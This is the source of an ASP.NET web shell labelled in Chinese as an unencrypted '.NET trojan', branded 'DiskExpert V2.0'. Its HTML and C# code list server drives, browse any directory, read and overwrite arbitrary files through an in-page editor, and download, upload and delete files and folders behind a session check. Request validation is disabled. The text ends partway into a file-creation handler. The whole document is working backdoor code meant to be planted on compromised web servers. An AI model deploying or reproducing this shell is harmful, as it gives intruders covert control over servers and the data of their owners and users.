• .net的马(no 加密)


    <HTML><HEAD><title>DiskExpert V2.0 Power by Pot</title>
    <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
    <meta content="C#" name="CODE_LANGUAGE"><meta content="JavaScript" name="vs_defaultClientScript">
    <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <style type="text/css">A{cursor: default;}A:visited{TEXT-DECORATION: none; color: 000000}A:hover{TEXT-DECORATION: none}A:link{text-decoration: none; color: 000000}
    BODY{FONT-FAMILY: Tahoma; FONT-SIZE: 8pt;SCROLLBAR-FACE-COLOR: #ffffff;SCROLLBAR-HIGHLIGHT-COLOR: #acb0b5;SCROLLBAR-SHADOW-COLOR: #acb0b5;SCROLLBAR-3DLIGHT-COLOR: #ffffff;SCROLLBAR-ARROW-COLOR: #acb0b5;SCROLLBAR-TRACK-COLOR: #ffffff;SCROLLBAR-DARKSHADOW-COLOR: #ffffff;SCROLLBAR-BASE-COLOR: #acb0b5}
    TD{FONT-FAMILY: Tahoma;FONT-SIZE: 8pt}DIV{cursor: default;FONT-FAMILY:  Tahoma;FONT-SIZE: 8pt}select {border- 1;border-color: #000000;background-color: #efefef;FONT-FAMILY: Tahoma;font-size: 8pt;font-style: bold;}
    .botton{FONT-SIZE: 8pt;BACKGROUND: url(botton_01.gif) no-repeat right bottom;FONT-FAMILY: Tahoma;color: #7E8083;border: 1px solid #ACB0B5;}
    .botton1{FONT-SIZE: 8pt;FONT-FAMILY: Tahoma;border: 1px solid #ACB0B5;}
    INPUT{BORDER-TOP-WIDTH: 1px;PADDING-RIGHT: 1px;PADDING-LEFT: 1px;BORDER-LEFT-WIDTH: 1px;FONT-SIZE: 8pt;BORDER-LEFT-COLOR: #cccccc;BORDER-BOTTOM-WIDTH: 1px;BORDER-BOTTOM-COLOR: #cccccc;PADDING-BOTTOM: 1px;BORDER-TOP-COLOR: #cccccc;PADDING-TOP: 1px;HEIGHT: 18px;BORDER-RIGHT-WIDTH: 1px;BORDER-RIGHT-COLOR: #cccccc;FONT-FAMILY: Tahoma;}</style>
    <style type="text/css">DIV.imagespacer { FLOAT: left; MARGIN: 5px; OVERFLOW: hidden; WIDTH: 90px; PADDING-TOP: 0px; HEIGHT: 90px; TEXT-ALIGN: center }
    DIV.imageholder { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 0px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; VERTICAL-ALIGN: middle; BORDER-LEFT: #cccccc 1px solid; WIDTH: 60px; PADDING-TOP: 15px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 60px; TEXT-ALIGN: center }
    DIV.titleHolder { WIDTH: 100%; PADDING-TOP: 2px; HEIGHT: 20px; TEXT-ALIGN: center }
    .leftbg { BACKGROUND-POSITION: left top; BACKGROUND-IMAGE: url(images/left_bg.gif); BACKGROUND-REPEAT: no-repeat }
    .menuskin { BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; BACKGROUND-IMAGE: url(images/menubg.gif); VISIBILITY: hidden; FONT: 12px Verdana; BORDER-LEFT: #666666 1px solid; BORDER-BOTTOM: #666666 1px solid; BACKGROUND-REPEAT: repeat-y; POSITION: absolute; BACKGROUND-COLOR: #efefef }
    .menuskin A { PADDING-RIGHT: 10px; PADDING-LEFT: 20px; BEHAVIOR: url(inc/noline.htc); COLOR: black; TEXT-DECORATION: none }
    #mouseoverstyle { BORDER-RIGHT: #999 1px solid; PADDING-RIGHT: 0px; BORDER-TOP: #999 1px solid; PADDING-LEFT: 0px; PADDING-BOTTOM: 1px; MARGIN: 1px; BORDER-LEFT: #999 1px solid; PADDING-TOP: 0px; BORDER-BOTTOM: #999 1px solid; BACKGROUND-COLOR: #ccc }
    #mouseoverstyle A { COLOR: black }
    .menuitems { PADDING-RIGHT: 1px; PADDING-LEFT: 1px; PADDING-BOTTOM: 2px; MARGIN: 1px; WORD-BREAK: keep-all; PADDING-TOP: 1px }</style></HEAD>
    <body style="OVERFLOW: auto" bgColor="#e5eaf0" leftMargin="0" topMargin="0">
      
    <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
    <tr><td vAlign="top" width="10">&nbsp;</td><td vAlign="top" height="45">
    <table cellSpacing="0" cellPadding="0" width="100%" border="0">
    <form id="form1" name="form1" action="FileList.aspx" method="get">
    <tr><td style="COLOR: #7e8083" height="20">
    <DIV id="msviLocalToolbar"><TABLE style="CURSOR: default" cellSpacing="0" cellPadding="0" width="100%" border="0">
    <TR><td align="center" width="88"><a href=#>About DiskExpert</a></td>
    <TD align="center" width="6"><font color="#cecfd0">|</font></TD>
    <td align="center" width="60"><a href=#>Contact Me</A></td>
    <TD align="center" width="6"><font color="#cecfd0">|</font></TD>
    <td align="center" width="30"><a href=#>Help</A></td>
    <td align="right"><a href="http://www.myule.com/guestbook/g_show.aspx" target="_blank"><font color=red>官方讨论区</font></a> <input id="ObjectNum" type="hidden" name="Hidden2" runat="server">
    <input id="FolderUrl" type="hidden" name="hidden" runat="server"><input id="FolderPath" type="hidden" name="FolderPath" runat="server">&nbsp;<font color="#666666">本软件为免费软件,欢迎传播,对于本软件造成的损失、破坏,本人概不负责!</font></td></TR></TABLE></DIV>
    </td></tr><tr><td height="1" align="right" bgcolor="#ACB0B5"></td></tr>
    <tr><td height="1" align="right" bgcolor="#F7FAFF"></td></tr>
    <tr><td align="right"><table cellSpacing="0" cellPadding="0" width="100%" border="0">
    <tr><td width="10" height="35">||</td><td align="center" width="180">
    <DIV id="msviLocalToolbar1"><table cellSpacing="0" cellPadding="0" width="95%" border="0">
    <tr align="center"><td class="lt0" width="18%"><A onclick="this.style.behavior='url(#default#homepage)';this.setHomePage(window.location.href);return false;" href="#">主页</A></td>
    <td><font color="#cecfd0">|</font></td><td class="lt0" width="18%"><A onclick="window.location.reload();return false;" href="#">刷新</A></td>
    <td><font color="#cecfd0">|</font></td><td class="lt0" width="18%"><A href="javascript:window.external.AddFavorite(window.location.href, 'Disk Expert V2.0')" target="_self">收藏</A></td>
    <td><font color="#cecfd0">|</font></td>
    <td class="lt0" width="18%" height="20"><A onclick="history.go(-1)" href="#">后退</A></td>
    <td><font color="#cecfd0">|</font></td><td class="lt0" width="18%"><asp:HyperLink id=goup runat="server">向上</asp:HyperLink></td>
    <td><font color="#cecfd0">|</font></td></tr></table></DIV>
    </td><td width="30"><font color="#7e8083">地址:</font></td><td><INPUT id="NewFolder" style="WIDTH: 100%" type="text" name="text" runat="server"></td>
    <td width="25"><font face="宋体"><input type="submit" name="Submit" value="→"></font></td>
    <td width="90"><SELECT id="DiskList" onchange="window.location=('FileList.aspx?NewFolder='+options[selectedIndex].value)" name="Select1" runat="server"></SELECT></td><td width="90"></td></tr></table></td></tr>
    <tr><td height="2" align="right" bgcolor="#ACB0B5"><IMG height="1" src="images/spacer.gif" width="1"></td>
    </tr></form></table></td>
    <td vAlign="top" width="10">&nbsp;</td></tr>
    <tr><td vAlign="top">&nbsp;</td><td vAlign="top" bgColor="#ffffff"><table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0"><tr><td vAlign="top" width="200">
    <div style="OVERFLOW: auto; WIDTH: 200px; HEIGHT: 100%"><table cellSpacing="0" cellPadding="0" width="100%" border="0"><tr><td vAlign="top" height="76"> <table cellSpacing="0" cellPadding="0" width="100%" border="0">
    <tr><td width="10" height="50">&nbsp;</td><td vAlign="top" align="left">
    <table cellSpacing="0" cellPadding="0" width="100%" border="0"><tr><td vAlign="bottom" height="40"><asp:Label id=leftpic runat="server"></asp:Label></td></tr></table></td></tr>
    <tr><td width="10"><IMG height="1" src="images/spacer.gif" width="10"></td>
    <td style="FONT-WEIGHT: bold; FONT-SIZE: 14pt; LINE-HEIGHT: 1.1; FONT-FAMILY: Tahoma" vAlign="bottom"><asp:label id="ListLabel" runat="server"></asp:label></td></tr>
    <tr><td width="10" height="10"><hr size="2" color="#6699CC" noshade></td><td><hr size="2" color="#6699CC" noshade></td></tr></table></td></tr>
    <tr><td vAlign="top"><table cellSpacing="0" cellPadding="0" width="100%" border="0">
    <tr><td width="10" height="25"><IMG height="1" src="images/spacer.gif" width="10"></td>
    <td>&nbsp;</td></tr>
    <tr><td width="10" height="40">&nbsp;</td><td><span id="filename" style="FONT-SIZE: 8pt; LINE-HEIGHT: 1.3; FONT-FAMILY: Tahoma"></span></td></tr>
    <tr><td width="10">&nbsp;</td><td><span id="fileinfo" style="FONT-SIZE: 8pt; FONT-FAMILY: Tahoma"></span></td>
    </tr><tr><td height="20">&nbsp;</td><td>&nbsp;</td></tr></table></td></tr></table></div></td>
    <td onselectstart="return false;" onclick="return BodyClick()" vAlign="top">
    <div style="OVERFLOW: auto; WIDTH: 100%; HEIGHT: 100%"><FONT face="宋体"><asp:literal id="fileShow" runat="server"></asp:literal></FONT></div></td></tr></table></td><td vAlign="top">&nbsp;</td></tr>
    <tr><td vAlign="top"></td><td height="1" bgcolor="#ACB0B5"></td><td vAlign="top"></td></tr>
    <tr><td vAlign="top"></td><td height="1" vAlign="top" bgcolor="#F7FAFF"></td><td vAlign="top"></td></tr>
    <tr><td vAlign="top">&nbsp;</td><td vAlign="top" height="45">
    <table cellSpacing="2" cellPadding="0" width="100%" border="0"><tr><td>
    <table cellSpacing="0" cellPadding="0" width="100%" border="0">
    <form id="form2" name="form2" action="FileList.aspx" runat="server"><tr><td><asp:button id="Button12" runat="server" CssClass="botton" Text="登录系统" Width="70px" onclick="Button12_Click"></asp:button>
    <asp:textbox id="TextBox3" runat="server" Width="80px" Visible="False" TextMode="Password"></asp:textbox>
    <asp:button id="Button13" runat="server" CssClass="botton1" Text="登录" Visible="False" onclick="Button13_Click"></asp:button>
    <asp:button id="Button3" runat="server" CssClass="botton" Text="下载文件" Width="70px" onclick="Button3_Click"></asp:button>
    <asp:button id="Button10" runat="server" CssClass="botton" Text="上传文件" Width="70px" onclick="Button10_Click"></asp:button><INPUT class="botton1" id="UploadFile" style="DISPLAY: none; FONT-SIZE: 9pt" type="file" name="File1" runat="server">
    <asp:button id="Button4" runat="server" CssClass="botton1" Text="上传" Visible="False" CausesValidation="False" onclick="Button4_Click"></asp:button>
    <asp:button id="Button11" runat="server" CssClass="botton" Text="新建..." Width="70px" onclick="Button11_Click"></asp:button>
    <asp:textbox id="TextBox2" runat="server" CssClass="botton1" Width="80px" Visible="False"></asp:textbox>
    <asp:button id="Button1" runat="server" CssClass="botton1" Text="新建文件" Width="60px" Visible="False" onclick="Button1_Click"></asp:button>
    <asp:button id="Button2" runat="server" CssClass="botton1" Text="新建文件夹" Width="70px" Visible="False" onclick="Button2_Click"></asp:button>
    <asp:button id="Button5" runat="server" CssClass="botton" Text="删除文件" Width="70px" onclick="Button5_Click"></asp:button>
    <asp:button id="Button6" runat="server" CssClass="botton" Text="删除文件夹" Width="80px" onclick="Button6_Click"></asp:button>
    <input type="button" id="edit" value="文本编辑" class="botton" onclick="openeditor()" runat="server">
    <asp:button id="Button14" runat="server" CssClass="botton" Text="重 命 名" Width="70px" onclick="Button14_Click"></asp:button>
    <asp:textbox id="TextBox4" runat="server" CssClass="botton1" Width="80px" Visible="False"></asp:textbox>
    <asp:button id="Button15" runat="server" CssClass="botton1" Text="重命名" Width="60px" Visible="False" onclick="Button15_Click"></asp:button>
    <asp:button id="Button7" runat="server" CssClass="botton1" Text="复制" Width="50px" onclick="Button7_Click"></asp:button>
    <asp:button id="Button8" runat="server" CssClass="botton1" Text="剪切" Width="50px" onclick="Button8_Click"></asp:button>
    <asp:button id="Button9" runat="server" CssClass="botton1" Text="粘贴" Width="50px" onclick="Button9_Click"></asp:button>
    <INPUT id="CurrentFile" type="hidden" name="CurrentFile" runat="server"><INPUT id="CurrentFolder" type="hidden" name="CurrentFolder" runat="server"></td></tr></form></table></td></tr>
    <tr><td style="COLOR: red"><asp:label id="ErrorText" runat="server"></asp:label></td></tr></table></td>
    <td vAlign="top">&nbsp;</td></tr></table>
    <SCRIPT language="JavaScript">
    var lastDiv = null;var FileNum;var FolderNum;var ClickArea = 0;window.status = "就绪"
    FolderNum = form1.ObjectNum.value.split("|")[0];FileNum = form1.ObjectNum.value.split("|")[1];
    filename.innerHTML = "共计:&nbsp;"+FileNum+"&nbsp;个对象<br><br>";
    fileinfo.innerHTML = "目录:&nbsp;"+FolderNum+"&nbsp;个<br><br>文件:&nbsp;"+(FileNum-FolderNum)+"&nbsp;个";
    if(typeof form2.Button7!="undefined"){form2.Button7.disabled = true;form2.Button8.disabled = true;} 
    document.form2.CurrentFolder.value = "";document.form2.CurrentFile.value = "";
    function BodyClick(){if(ClickArea == 1){ClickArea = 0;return;}else{
    filename.innerHTML = "共计:&nbsp;"+FileNum+"&nbsp;个对象<br><br>";fileinfo.innerHTML = "目录:&nbsp;"+FolderNum+"&nbsp;个<br><br>文件:&nbsp;"+(FileNum-FolderNum)+"&nbsp;个"; 
    if (lastDiv){lastDiv.style.border = "1 solid #CCCCCC";lastDiv.style.background = "white";}
    document.form2.CurrentFile.value="";document.form2.CurrentFolder.value="";
    if(typeof form2.Button7!="undefined"){form2.Button7.disabled = true;form2.Button8.disabled = true;}
    window.status = "就绪";return;}}    
    function SelectDiv(theDiv,FileName,lFileName,lFileSize,lFileModify,lFileProperty,isFile)
    {if (lastDiv) {lastDiv.style.border = "1 solid #CCCCCC";lastDiv.style.background = "white";}
    lastDiv = theDiv;theDiv.style.border = "1 solid #316AC5";theDiv.style.background = "#EBF0FA";
    if(isFile == 1){document.form2.CurrentFile.value = FileName;document.form2.CurrentFolder.value = "";
    window.status = "文件「"+FileName+"」被选中!";}
    else{document.form2.CurrentFolder.value = FileName;document.form2.CurrentFile.value = "";
    window.status = "文件夹「"+FileName+"」被选中!";} 
    filename.innerHTML = "<b>"+FileName+"</b><br>"+lFileName+"<br><br>"
    fileinfo.innerHTML = "修改时间:&nbsp;"+lFileModify+"<br><br>大小:&nbsp;"+lFileSize+"<br><br>"+lFileProperty;
    ClickArea = 1;
    if(typeof form2.Button7!="undefined"){form2.Button7.disabled = false;form2.Button8.disabled = false;}
    return;}  
    function OpenObject(FileName,isFile){
    if(isFile == 1){
    if(typeof form2.Button3=="undefined")alert("登录后才可以下载文件!");
    else form2.Button3.click();
    }else{
    window.location=("FileList.aspx?NewFolder="+form1.FolderUrl.value+"\\"+FileName);}}
    document.form1.NewFolder.value = ""+document.form1.FolderPath.value;
     //从链接地址里提取出本文档名
     function openeditor()
     {
      if(form2.CurrentFile.value==""){alert("请选取一个文件!");return false;}
      var str = this.location.href;
      str = str.match(/\/([^\?/]*)(\?|$)/)[1];
         window.open(str+"?Action=edit&url="+form1.FolderUrl.value+"\\"+form2.CurrentFile.value,'editor','scrollbars=1,menubar=0,status=0,width=700,height=500,left=50,top=110,resizable=1');
     }
    </SCRIPT>
    </body>
    </HTML>
    <%@ Page language="c#" EnableViewState="false" validateRequest="false"%>
    <%@ Import Namespace="System" %>
    <%@ Import Namespace="System.Web" %>
    <%@ Import Namespace="System.Text" %>
    <%@ Import Namespace="System.IO" %>
    <script language="C#" runat=server>
    DateTime begintime;
    public void Page_Load(object sender, System.EventArgs e)
    {
     try
     {
       //设置javascript事件
       begintime = System.DateTime.Now;
       //Session["admin"] = null;
       if(Session["CutBoard"] == null)Button9.Enabled = false;
       if(Session["admin"] == null){
        TextBox2.Visible = false;Button1.Visible = false;Button2.Visible = false;
        Button10.Visible = false;Button11.Visible = false;Button5.Visible = false;
        Button6.Visible = false;Button7.Visible = false;Button8.Visible = false;
        Button9.Visible = false;Button14.Visible = false;Button3.Visible = false;
        Button4.Visible = false;Button15.Visible = false;
        edit.Style.Add("display","none");
       }
       else{
        Button12.Text = "退出系统";
       }

       //获取驱动器
       string[] drives = System.IO.Directory.GetLogicalDrives();
       DiskList.Items.Add("选择驱动器");
       foreach (string str in drives){
        DiskList.Items.Add(str);
       }
       Button3.Attributes.Add("onclick","if(form2.CurrentFile.value==''){alert('请选取一个文件!');return false;}");
       Button5.Attributes.Add("onclick","if(form2.CurrentFile.value==''){alert('请选取一个文件!');return false;}"+
        "else {return confirm('删除选中文件,是否继续?');}");
       Button6.Attributes.Add("onclick","if(form2.CurrentFolder.value==''){alert('请选取一个文件夹!');return false;}"+"else {return confirm('删除选中文件夹,是否继续?');}");

       string strCurrentDir,NewFolder,TempAction;
       NewFolder = Request.QueryString["NewFolder"];
       TempAction = Request.QueryString["Action"];
        
        //分情况显示数据
        if(TempAction == null && NewFolder == null){
         strCurrentDir = Server.MapPath(".");
         DisplayList(strCurrentDir);
        }
        else if(TempAction == "up"){
         strCurrentDir = NewFolder;
         UpFolder(strCurrentDir);
        }
        else if(TempAction == "edit"){
         EditFile(Request.QueryString["url"].ToString());
        }
        else if(TempAction == "save"){
         string saveurl = Request.Form["url"];
         string savecontent = Request.Form["fileContent"];
         string ColseWindow = Request.Form["ColseWindow"];
         SaveFile(saveurl,savecontent,ColseWindow);
        }
        else{
         strCurrentDir = NewFolder;
         DisplayList(strCurrentDir);
        }
       }
       catch (System.IO.IOException)
       {
        ErrorText.Text = "An I/O error occurs.";
       }
       catch (System.Security.SecurityException)
       {
        ErrorText.Text = "The caller does not have the required permission.";
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
       }
       }

      #region Files and Directorys List
      /// <summary>
      /// 显示文件和文件夹列表。
      /// </summary>
      public void DisplayList(string strCurrentDir)
      {
       strCurrentDir = strCurrentDir.Replace(@":",@":").Replace(@"、",@"\").Replace(@"\\",@"\");
       
       FileInfo fi;
       DirectoryInfo di;

       StringBuilder TempStr = new StringBuilder();
       TempStr.Capacity = 100;
       string FileName,FileExe,FilePic,FileSize,ShortName;
       DateTime FileModify;
       string lFileProperty = "1";
       string lFileName,lFileModify,lFileSize;
       int isFile,FileNum=0,FolderNum=0;

       fileShow.Text = "";      //初始化显示层
       DirectoryInfo dir = new DirectoryInfo(strCurrentDir);
       foreach(FileSystemInfo fsi in dir.GetFileSystemInfos())
       {
        FilePic = "";
        FileName = "";
        FileExe = "";
        FileSize = "0";
        FileNum++;

        if(fsi is FileInfo)
        {
         //当前是文件
         isFile = 1;
         fi = (FileInfo)fsi;
         FileName = fi.Name;
         //FileName = Server.UrlEncode(FileName);
         FileExe = fi.Extension;
         lFileProperty = fi.Attributes.ToString();
        
         if(fi.Length > (1024*1024*1024))
          FileSize = ((double)fi.Length/(1024*1024*1024)).ToString(".##")+"&nbsp;GB";
         else if(fi.Length > (1024*1024))
          FileSize = ((double)fi.Length/(1024*1024)).ToString(".##")+"&nbsp;MB";
         else if(fi.Length > 1024)
          FileSize = ((double)fi.Length/1024).ToString(".##")+"&nbsp;KB";
         else
          FileSize = ((double)fi.Length/1).ToString(".##")+"&nbsp;字节";
         FileModify = fi.LastWriteTime;

         switch(FileExe.ToLower())
         {
          //用户可以自定义FilePic内容,显示不同类型的文件。
          case ".gif":FilePic = "images/gif.gif";ShortName = "GIF图象";break;
          case ".jpg":FilePic = "images/gif.gif";ShortName = "JPEG图象";break;
          case ".asp":FilePic = "images/asp.gif";ShortName = "Active Server Page";break;
          case ".txt":FilePic = "images/txt.gif";ShortName = "文本文档";break;
          case ".htm":FilePic = "images/htm.gif";ShortName = "HTML Document";break;
          case ".html":FilePic = "images/htm.gif";ShortName = "HTML Document";break;
          case ".doc":FilePic = "images/doc.gif";ShortName = "Microsoft Word 文档";break;
          case ".exe":FilePic = "images/exe.gif";ShortName = "应用程序";break;
          case ".rar":FilePic = "images/zip.gif";ShortName = "WinRAR 档案文件";break;
          case ".zip":FilePic = "images/zip.gif";ShortName = "WinRAR Zip 档案文件";break;
          case ".aspx":FilePic = "images/aspx.gif";ShortName = "ASP.NET Server Page";break;
          case ".cs":FilePic = "images/cs.gif";ShortName = "C# Source file";break;
          case ".mdb":FilePic = "images/mdb.gif";ShortName = "Microsoft Access 应该程序";break;
          case ".dll":FilePic = "images/dll.gif";ShortName = "应用程序扩展";break;
          case ".wma":FilePic = "images/mp3.gif";ShortName = "Winamp media file";break;
          case ".mp3":FilePic = "images/mp3.gif";ShortName = "Winamp media file";break;
          default:FilePic = "images/other.gif";ShortName = FileExe.Replace(".","")+"文件";break;
         }
         //FilePic = "<img src='"+FilePic+"'border=0 align=absmiddle>";
         FilePic = "<font face='wingdings' color='#666666' style='font-size:30'>2</font>";

         lFileName = ShortName.Replace(" ","&nbsp;").ToString();
         lFileSize = FileSize.ToString();
         lFileModify = FileModify.ToString();
        }
        else
        {
         FolderNum++;
         isFile = 0;
         di = (DirectoryInfo)fsi;
         FileName = di.Name;
         //FileName = Server.UrlEncode(FileName);
         FileExe = di.Extension;
         FileModify = di.LastWriteTime;
         //FilePic = "<img src='images/directory.gif' border=0 align=absmiddle>";
         FilePic = "<font face='wingdings' color='#666666' style='font-size:30'>0</font>";

         lFileName = "文件夹";
         lFileSize = "0&nbsp;字节";
         lFileModify = FileModify.ToString();
         lFileProperty = di.Attributes.ToString();

        }
        TempStr.Append("<div class=imagespacer><div class=imageholder onclick=\"SelectDiv(this,'"+FileName.Replace(" ","&nbsp;").ToString()+"','"+lFileName.ToString()+"','"+lFileSize.ToString()+"','"+FileModify.ToString().Replace(" ","&nbsp;").ToString()+"','"+lFileProperty.Replace(" ","&nbsp;").ToString()+"',"+isFile+")\" ondblclick=\"OpenObject('"+Server.UrlEncode(FileName)+"',"+isFile+")\">"+FilePic+"</div><div class=titleholder>"+FileName+"</div></div>");
       }
       fileShow.Text = TempStr.ToString();
       FolderPath.Value = strCurrentDir;
       FolderPath.Value = strCurrentDir;
       FolderUrl.Value = Server.UrlEncode(strCurrentDir);
       ObjectNum.Value = FolderNum+"|"+FileNum;
       if(Path.GetFileName(strCurrentDir) != "")
       {
        leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>0</font></b>";
        //ListImage.ImageUrl = "images/left_directory.gif";
        ListLabel.Text = Path.GetFileName(strCurrentDir);
        goup.NavigateUrl = "FileList.aspx?Action=up&NewFolder="+FolderUrl.Value;
        //IMG1.Src = "images/turnup.gif";    //IMG1.Attributes.Add("onclick","window.location=('FileList.aspx?Action=up&NewFolder='+form1.FolderUrl.value)");
       }
       else
       {
        leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>;</font></b>";
        //ListImage.ImageUrl = "images/left_disk.gif";
        ListLabel.Text = Directory.GetDirectoryRoot(strCurrentDir);
        goup.Enabled = false;
        //IMG1.Src = "images/turnup1.gif";
       }
      }
      #endregion

      #region Operate Files and Directorys
      /// <summary>
      /// 编辑文本文件。
      /// </summary>
      private void EditFile(string url)
      {
       if(!Chk_Purview())return;
       try{
       url = Server.UrlDecode(Server.UrlEncode(url).Replace("%c2%a0","+"));
       FileStream fs = new FileStream(url,FileMode.Open,FileAccess.Read);
       StreamReader sr = new StreamReader(fs,Encoding.GetEncoding("gb2312"));
       string fileContent = sr.ReadToEnd();
       sr.Close();
       fs.Close();

       Uri nUrl = HttpContext.Current.Request.Url;
       string sFileName = nUrl.Segments[nUrl.Segments.Length-1];
       int i=sFileName.LastIndexOf("/");
       int j=sFileName.Length;
       sFileName = sFileName.Substring(i+1,j-i-1);
       Response.Write("<html><head><title>DiskExpert V2.0 Power By Pot</title><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><style>form{margin:0;font-size:9pt;}; textarea{font-family:Tahoma;font-size:9pt; padding:5px;};body{margin:2;border:none;overflow:hidden;background-color:buttonface}; fieldset{margin:2px;font-size:9pt;height:76px;overflow:auto;}; input{font-family:Tahoma;font-size:9pt;};pre{margin:0};.banner{margin-top:8px;margin-right:10px;text-align:right;font-family:Tahoma;font-weight:bold};</style></head><script>window.focus();<"+"/script><body><form style='100%;height:100%;' method='post' action='"+sFileName+"?Action=save'><textarea name=fileContent style='100%;height:90%;'>"+fileContent+"</textarea><br><div style='padding-top:5px'>&nbsp;&nbsp;文件路径:<input type='text' name=url value='"+url+"' readonly><input type='hidden' name=a value=s> <input type=checkbox name=ColseWindow id=chk_closewindow value=close><label for=chk_closewindow checked>保存完毕关闭窗口</label> <input type='submit' name=btnSubmit value='保存' style='75px;' onclick=\"form.a.value='s'\"><input type='reset' name=btnReset value='恢复' style='75px;'><input type='button' name=btnReset value='清空' style='75px;' onclick=\"form.fileContent.value=''\"><input type='button' name=btnReset value='关闭' style='75px;' onclick=\"window.close();\"></div><div class=banner>Online Text Editor 1.0 for  DiskExpert V2.0</div></form></body></html>");
       Response.End();
       return;
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
      }
      /// <summary>
      /// 保存文本文件。
      /// </summary>
      private void SaveFile(string url,string fileContent,string ColseWindow)
      {
       if(!Chk_Purview())return;
       try{
       url = Server.UrlDecode(Server.UrlEncode(url).Replace("%c2%a0","+"));
       FileStream fs = new FileStream(url,FileMode.Create,FileAccess.Write);
       StreamWriter sw = new StreamWriter(fs,Encoding.GetEncoding("gb2312"));
       sw.Write(fileContent); 
       sw.Close();
       fs.Close();
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
       if(ColseWindow == "close")
       {
         Response.Write("<script language=javascript>alert('保存成功!');window.close()<"+"/script>");
       }
       else
       {
         Response.Write("<script language=javascript>alert('保存成功!');history.go(-1);<"+"/script>");
       }
      }
      /// <summary>
      /// 返回上一级。
      /// </summary>
      private void UpFolder(string strCurrentDir)
      {
       string UpPath = new FileInfo(strCurrentDir).DirectoryName;
       DisplayList(UpPath);
       FolderPath.Value = UpPath;
       FolderUrl.Value = Server.UrlEncode(UpPath);
       return;
      }
      /// <summary>
      /// 下载文件。
      /// </summary>
      private void Button3_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       try
       {
        string FilePath = Path.Combine(FolderPath.Value,CurrentFile.Value);
        FilePath = Server.UrlDecode(Server.UrlEncode(FilePath).Replace("%c2%a0","+"));
        FileInfo fi = new FileInfo(FilePath);
        string sFileName = fi.Name;
        FileStream fs = new FileStream(FilePath,FileMode.Open,FileAccess.Read,FileShare.Read);
        long FileLength = fs.Length;
        BinaryReader br = new BinaryReader(fs);
        br.BaseStream.Seek(0,SeekOrigin.Begin);
        byte[] ts = new byte[br.BaseStream.Length];
        //bool ClientClosed = false;
        while(br.BaseStream.Position < br.BaseStream.Length)
        {
         ts[br.BaseStream.Position] = br.ReadByte();
         //ClientClosed = !this.Response.IsClientConnected;
        }
        Response.Clear();
        Response.AddHeader("Content-Disposition", "attachment; filename="+HttpUtility.UrlEncode(sFileName,System.Text.Encoding.UTF8).Replace("+"," "));
        //Response.AddHeader("Content-Length",FileLength.ToString());
        //Response.Charset = "UTF-8"; 
        Response.ContentType = "application/octet-stream";
        Response.BinaryWrite(ts);
        //Response.Flush();
        Response.End();
        br.Close();
        br = null;
        fs.Close();
        fs = null;
        System.Web.HttpContext.Current.ApplicationInstance.CompleteRequest();
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
      }
      /// <summary>
      /// 上传文件。
      /// </summary>
      private void Button4_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       try
       {
        HttpPostedFile hpf = UploadFile.PostedFile;
        //FileName.Text = hpf.FileName;
        if(hpf.ContentLength > 5242880)
        {
         Response.Write("<script language=javascript>");
         Response.Write("alert('上传文件太大,系统限制最大为5M!');");
         Response.Write("<"+"/script>");
         return;
        }
        char[] de = {'\\'};
        string[] AFilename = hpf.FileName.Split(de);
        string strFilename = AFilename[AFilename.Length - 1];
        FileInfo fi = new FileInfo(Path.Combine(FolderPath.Value,strFilename));
        if(fi.Exists)
        {
         Response.Write("<script language=javascript>");
         Response.Write("confirm('文件已经存在,是否覆盖?');");
         Response.Write("<"+"/script>");
         return;
        }
        else
        {
         hpf.SaveAs(FolderPath.Value+@"\"+strFilename);
         Response.Write("<script language=javascript>alert('文件已经上传!');<"+"/script>");
         DisplayList(FolderPath.Value);
         return;
        } 
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
      }
      /// <summary>
      /// 删除文件。
      /// </summary>
      private void Button5_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       string TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
       TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
       if(File.Exists(TempPath))
       {
        try
        {
         File.Delete(TempPath);
         Response.Write("<script language=javascript>");
         Response.Write("alert('文件已经删除!');");
         Response.Write("<"+"/script>");
         DisplayList(FolderPath.Value);
         return;    
        }
        catch(Exception ex)
        {
         ErrorText.Text = ex.Message;
        }

       }
       else
       {
        //Response.Write(TempPath);
        Response.Write("<script language=javascript>");
        Response.Write("alert('没有发现目标文件,操作失败!');");
        Response.Write("<"+"/script>");
        return;
       }
      }
      /// <summary>
      /// 删除文件夹。
      /// </summary>
      private void Button6_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       string TempPath = Path.Combine(FolderPath.Value,CurrentFolder.Value);
       TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
       if(Directory.Exists(TempPath))
       {
        try
        {
         Directory.Delete(TempPath);
         Response.Write("<script language=javascript>");
         Response.Write("alert('文件夹已经删除!');");
         Response.Write("<"+"/script>");
         DisplayList(FolderPath.Value);
         return;    
        }
        catch(Exception ex)
        {
         ErrorText.Text = ex.Message;
         return;
        }
       }
       else
       {
        Response.Write("<script language=javascript>");
        Response.Write("alert('没有发现目标文件夹,操作失败!');");
        Response.Write("<"+"/script>");
        return;
       }
      }
      /// <summary>
      /// 创建文件。
      /// </summary>
      private void Button1_Click(object sender, System.EventArgs e)
      {
